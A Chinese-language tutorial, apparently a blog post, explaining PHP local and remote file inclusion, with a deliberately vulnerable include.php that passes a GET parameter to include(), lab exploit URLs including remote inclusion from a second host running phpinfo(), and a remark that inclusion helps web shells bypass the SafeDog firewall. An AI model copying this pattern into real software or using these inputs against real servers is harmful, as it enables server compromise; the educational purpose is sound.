漏洞02】文件包含漏洞原理及本地远程两种攻击方式"/>
【文件包含漏洞02】文件包含漏洞原理及本地远程两种攻击方式
目录
- 1 文件包含漏洞
- 1.1 概述
- 1.2 原因
- 1.3 危害
- 2 攻击实验
- 2.1 实验环境
- 2.2 实验一:本地文件包含攻击
- 2.3 实验二:远程文件包含攻击
- 2.4 实验对比
- 3 总结
1 文件包含漏洞
1.1 概述
- 概述:文件包含漏洞:即file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(),require()和include_once(),requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
- 文件包含分类:
(1)本地文件包含LFI(local file include)当被包含的文件在服务器本地时,就形成本地文件包含。
(2)远程文件包含RFI(remote file include)当被包含的文件在第三方服务器时,叫做远程文件包含。 - 文件包含漏洞分类:
(1)本地文件包含漏洞:当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
(2)远程文件包含漏洞:当php.ini 中的配置选项allow_url_fopen和allow_url_include均为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。 - 背景:随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
1.2 原因
- 原因一:Web应用使用了动态包含。如以下代码,在第2行中定义了变量path并赋值,在第5行中文件包含了该变量。
<?php
$path = "./inc.php";
include ("./inc.php");
echo "<h1>This is include.php!</h1>";
include $path;
?>
- 原因二:动态包含的文件路径参数,客户端可控。如以下代码,变量path是从客户端请求中获取的,是用户可以控制的。
<?php
$path = $_GET['path'];
include ("./inc.php");
echo "<h1>This is include.php!</h1>";
include $path;
?>
- 原因三:未对用户输入参数进行全面过滤。
1.3 危害
- 严重性:一旦服务器存在文件包含漏洞,基本上会致使一切防御失效。像中国蚁剑、大马等,很多时候过不了安全狗,但是如果存在文件包含则可以利用该漏洞过狗。
- 两个特点:
- 无视文件扩展名读取文件。包含文件时,PHP会读取文件的源码,包括图片文件等。
- 无条件解析PHP代码。文件包含在读取文件源码的同时,如果遇到符合PHP语法规范的代码,就会无条件执行。
2 攻击实验
2.1 实验环境
- 本文实验基于WAMP环境进行测试,环境部署过程参考文章《win2008R2SP1+WAMP环境部署》。
- 在该环境网站根目录下,新建文件夹test,在test文件夹下新建以下文件进行实验。
- 新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
2.2 实验一:本地文件包含攻击
- 通过文件上传等其他手段,在网站目录及子目录下生成了info.php文件,文件代码如下:
<?php phpinfo();?>
。 - 在真实机访问该网站,输入URL为
http://192.168.1.4/test/include.php
时,显示结果如下。由于代码第二行的path没有传入,弹出了提示;在第四行文件包含语句没有找到对应的文件,弹出警告。
- 将URL修改为
http://192.168.1.4/test/include.php?path=info.php
,显示结果如下。可以看到参数成功传入给path,并在文件包含语句中被执行,也就是说存在于本地的一个文件被客户端控制着执行了,如果这个文件来历不明存在恶意代码则服务器被攻击。
2.3 实验二:远程文件包含攻击
-
靶机上的网站和文件和实验一一样。
-
准备攻击靶机,让靶机的include.php文件以远程文件包含的方式来执行
info.php
,浏览器访问时将URL修改为http://192.168.1.4/test/include.php?path=http://192.168.1.4/test/info.php
。可以看到网页显示如下,说该靶机服务器不允许include函数调用远程文件。
-
这时候,如果靶机服务器的配置文件php.ini中将allow_url_include参数配置为On,就存在着被利用远程文件包含攻击的危险。将靶机配置文件修改如下并重启phpstudy。
-
真实机浏览器再次访问
http://192.168.1.4/test/include.php?path=http://192.168.1.4/test/info.php
。可以看到远程文件被执行。
-
上面的方式是以远程文件包含的方式访问本地的文件,接下来演示真的以远程文件包含的方式访问远程文件。这需要我们在另一台虚拟机系统上部署另一个网站,该网站上存在一个文件info.php,文件代码如下:
<?php phpinfo();?>
。该文件的网络地址为http://192.168.1.7/info.php
。
-
真实机浏览器访问
http://192.168.1.4/test/include.php?path=http://192.168.1.7/info.php
。可以看到远程文件被执行,此时执行的文件位于第二台服务器上,PHP版本与第一台不一样。
2.4 实验对比
实验一执行phpinfo()语句是在靶机本地,所以返回的PHP版本为5.4.45;实验二中第一次执行phpinfo()是本地的文件,PHP版本为5.4.45,第二次执行的phpinfo()是在另一个服务器上,只是将执行结果反馈给靶机,所以返回的PHP版本是5.2.17。
3 总结
- 理解文件包含漏洞产生的原因;
- 掌握本地与远程利用漏洞的方式。
更多推荐
【文件包含漏洞02】文件包含漏洞原理及本地远程两种攻击方式
发布评论